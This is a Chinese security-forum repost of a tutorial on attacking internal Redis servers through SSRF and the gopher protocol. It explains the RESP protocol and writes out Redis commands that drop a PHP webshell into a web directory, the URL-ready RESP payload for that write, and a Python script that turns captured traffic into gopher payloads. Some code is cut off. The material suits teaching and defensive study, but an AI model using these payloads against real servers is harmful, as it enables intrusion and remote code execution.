安全矩阵

 找回密码
 立即注册
搜索
查看: 5000|回复: 0

Redis在SSRF中的应用

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2020-5-30 22:26:13 | 显示全部楼层 |阅读模式
作者:yunying

转载来源:https://www.cnblogs.com/BOHB-yunying/p/12962057.html

文章确实不错,可以点个收藏之后在电脑端慢慢复现。文章只做科普,不可用于非法途径,出现任何法律及其他问题与发布方无关!

SSRF介绍


SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。通常,SSRF攻击的目标是外部网络无法访问的内部系统


Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。



你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。


  1. CONFIG SET dir /VAR/WWW/HTML
  2. CONFIG SET dbfilename sh.php
  3. SET PAYLOAD '<?php eval($_GET[0]);?>'
复制代码

这是之前redis常用的getshell套路。但是由于权限问题,并不是总能成功写入文件。

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。


RESP在Redis中用作请求 - 响应协议的方式如下:


1.客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。


2.服务器根据命令实现回复一种RESP类型。


在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。



这里本地测试下
  1. tcpdump  port 6379 -w nopass.pcap
复制代码
无论用tcpdump还是socat转发都抓不到任何流量,我傻了。用了socat也是一样。发现达不到文章中的效果。崩溃了,搞了好几个小时,根本抓不到本地的。害,只能远程

可以看到


中间还有很多乱码

我们这里先开启redis-server /etc/redis.conf

在执行,意思为将4444端口收到的请求转发给6379端口

  1. socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
复制代码

这里用redis-cli连接4444端口,就可以抓到数据了,用tcpdump有乱码


每行都是\r结尾的,但是redis的协议是以CRLF结尾,所以如果这样的数据直接复制粘贴下来去转换的时候,要把\r转换为%0d%0a

客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为["set","name","test"]);$3代表字符串的长度,0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

Gopher
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了

opher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。




当存在ssrf漏洞,并且有回显的时候
  1. test.php<?php$ch = curl_init(); // 创建一个新cURL资源curl_setopt($ch,
复制代码




redis常见的SSRF攻击方式大概有这几种:

绝对路径写webshell

写ssh公钥

写contrab计划任务反弹shell

我逐个来尝试复现

绝对路径写webshell
利用条件:

1、目标存在web目录
2、已知web绝对路径
3、存在写入权限

构造如下payload:
  1. flushall
  2. set 1 '<?php phpinfo();?>'
  3. config set dir /var/www/html
  4. config set dbfilename shell.php
复制代码

整理获得如下payload
  1. *1\r
  2. $8\r
  3. flushall\r
  4. *3\r
  5. $3\r
  6. set\r
  7. $1\r
  8. 1\r
  9. $18\r
  10. <?php phpinfo();?>\r
  11. *4\r
  12. $6\r
  13. config\r
  14. $3\r
  15. set\r
  16. $3\r
  17. dir\r
  18. $13\r
  19. /var/www/html\r
  20. *4\r
  21. $6\r
  22. config\r
  23. $3\r
  24. set\r
复制代码

这里给出Joychu师傅给出的转换规则

  1. 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。

  2. 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

  3. 将\r字符串替换成%0d%0a

  4. 空白行替换为%0a
复制代码

Joychu师傅的转换脚本:
  1. #coding: utf-8
  2. #author: JoyChou
  3. import sys

  4. exp = ''

  5. with open(sys.argv[1]) as f:
  6.     for line in f.readlines():
  7.         if line[0] in '><+':
  8.             continue
  9.         # 判断倒数第2、3字符串是否为\r
  10.         elif line[-3:-1] == r'\r':
  11.             # 如果该行只有\r,将\r替换成%0a%0d%0a
  12.             if len(line) == 3:
  13.                 exp = exp + '%0a%0d%0a'
  14.             else:
  15.                 line = line.replace(r'\r', '%0d%0a')
  16.                 # 去掉最后的换行符
  17.                 line = line.replace('\n', '')
  18.                 exp = exp + line
  19.         # 判断是否是空行,空行替换为%0a
复制代码
再放一个七友师傅写的脚本:




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:36 , Processed in 0.015224 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表